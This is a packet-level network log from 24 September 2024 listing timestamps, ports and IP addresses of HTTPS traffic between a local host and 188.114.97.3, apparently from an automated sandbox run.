Sep 24, 2024 06:29:57.393059015 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.393069029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.393256903 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.393284082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.393321991 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.393332005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.393373966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.393428087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.401582956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.401617050 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.401756048 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.401778936 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.402291059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.446187019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.446222067 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.446378946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.446400881 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.446463108 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.454427004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.454457045 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.454571962 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.454571962 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.454591990 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.454862118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.454890966 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.454947948 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.454947948 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.454957962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.455012083 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.455280066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.455305099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.455344915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.455351114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.455368996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.457556009 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.482985020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.483007908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.483094931 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.483113050 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.483186960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.483294964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.483405113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.483423948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.483498096 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.483509064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.483541012 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.483778000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.483803034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.483886957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.483886957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.483900070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.485686064 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.492021084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.492049932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.492136955 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.492152929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.492167950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.492199898 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.536658049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.536686897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.536869049 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.536890030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.536936045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.547429085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.547462940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.547668934 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.547691107 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.547846079 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.548047066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.548079014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.548137903 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.548149109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.548186064 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.548186064 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.548357010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.548382998 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.548438072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.548445940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.548482895 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.548482895 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.573378086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.573409081 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.573520899 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.573538065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.573611021 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.573822975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.573842049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.573956966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.573964119 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.574031115 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.574409962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.574429035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.574484110 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.574491024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.574532032 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.582694054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.582724094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.582834005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.582834005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.582844019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.582882881 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.627263069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.627285004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.627407074 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.627429962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.627522945 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.637934923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.637955904 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.638041019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.638041019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.638056993 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.638169050 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.638356924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.638372898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.638437986 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.638447046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.638456106 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.638489008 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.638740063 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.638756990 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.638828039 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.638834953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.638879061 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.663822889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.663845062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.663938999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.663954973 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.664005041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.664304972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.664323092 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.664377928 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.664386034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.664419889 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.664788961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.664805889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.664899111 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.664921045 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.664977074 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.673295975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.673316956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.673397064 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.673413992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.673460007 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.699692965 CEST	443	49740	142.250.186.68	192.168.2.9
Sep 24, 2024 06:29:57.699743986 CEST	443	49740	142.250.186.68	192.168.2.9
Sep 24, 2024 06:29:57.699799061 CEST	49740	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:29:57.717976093 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.718027115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.718080044 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.718105078 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.718120098 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.718144894 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.728585958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.728707075 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.939405918 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.939872026 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.968003035 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.968022108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968051910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968180895 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.968188047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968204975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968281984 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.968290091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968301058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968312979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968450069 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.968461037 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968473911 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968488932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968492985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968631983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.968647003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968662977 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968684912 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.968714952 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.968749046 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.968908072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.968951941 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.990092993 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.990128040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:57.990259886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:57.990288973 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.000475883 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.000508070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.000576019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.000597954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.000621080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.000921011 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.000942945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.000982046 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.001003981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.001038074 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.001338959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.001364946 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.001394987 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.001405954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.001451969 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.039261103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.039294004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.039341927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.039366007 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.039400101 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.039424896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.039453030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.039506912 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.039798975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.039824963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.039874077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.039885044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.039920092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.039920092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.046746969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.046772003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.046845913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.046870947 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.046953917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.080713034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.080821991 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.291405916 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.291639090 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.719413996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.719585896 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.722340107 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.722362995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.722378969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.722485065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.722495079 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.722512960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.722654104 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.722678900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.722701073 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.722711086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.722897053 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.722923040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.722940922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.722959042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.722965002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723061085 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.723068953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723089933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723265886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.723278999 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723289013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723310947 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723335028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723354101 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.723354101 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.723362923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723381996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723408937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723517895 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.723527908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723541021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723663092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.723663092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.723675966 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723681927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723701954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723725080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723735094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723803043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.723803043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.723814964 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723830938 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723869085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723889112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723902941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723968983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723984957 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.723987103 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.723987103 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.724000931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.724060059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.724066019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.724066019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.724076986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.724086046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.724107981 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.724129915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.724154949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.724175930 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.724175930 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.724186897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.724201918 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.724215984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.724242926 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.724242926 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.724255085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.724311113 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.724311113 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.725040913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.725059032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.725189924 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.725200891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.725265026 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.725472927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.725490093 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.725706100 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.725718021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.725779057 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.751544952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.751563072 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.751821041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.751835108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.751945019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.751997948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.752013922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.752279997 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.752288103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.752429962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.752449989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.752482891 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.752482891 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.752491951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.752871990 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.752990007 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.753006935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.753298998 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.753305912 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.753422976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.770576954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.770596027 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.770726919 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.770740986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.770828962 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.814516068 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.814538002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.814877033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.814896107 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.814984083 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:58.815763950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:58.815781116 CEST	443	49748	188.114.97.3	192.168.2.9
